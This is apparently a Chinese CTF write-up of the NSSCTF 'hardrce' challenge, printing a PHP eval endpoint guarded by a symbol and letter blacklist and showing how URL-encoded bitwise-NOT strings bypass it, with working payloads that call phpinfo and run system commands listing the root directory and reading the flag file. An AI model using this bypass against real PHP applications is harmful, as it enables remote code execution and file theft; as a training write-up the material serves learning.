NSSCTF [SWPUCTF 2021 新生赛]hardrce

进入题目界面看见一串代码,先进行代码审计

复制代码
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
//对wllm内容进行限制,过滤掉一下的特殊字符
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $wllm)) { die("LTLT说不能用这些奇奇怪怪的符号哦!"); }} if(preg_match('/[a-zA-Z]/is',$wllm)) //进行正则匹配,过滤掉大小写字母 { die("Ra's Al Ghul说不能用字母哦!"); } echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?"; eval($wllm);//eval执行wllm,说明存在远程代码执行漏洞 } else { echo "蔡总说:注意审题!!!"; } ?>
复制代码

通过对代码的分析,发现都是对与字母等特殊字符的限制,说明正常的绕过手段,双写,大小写,转义字符等都不能绕过,因为这些都需要字母,所以这里可以使用编码的方式来进行绕过。使用URL取反编码的方式,将我们需要执行的代码进行取反编码。取反是因为编码之后还会存在之母,而取反之后编码的数据将不再作为字母被识别。

取反符号 ' ~ '

 

<?php
echo urlencode(~'phpinfo');
?>

执行后得到这串数据:%8F%97%8F%96%91%99%90

构造playload·:/?wllm=(~%8F%97%8F%96%91%99%90)();

出现回显,代码执行成功,说明方法可行,下面就是构造需要执行的命令,并进行取反编码就好了。

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>

 成拿到flag啦

 

posted @   karasbai  阅读(38)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示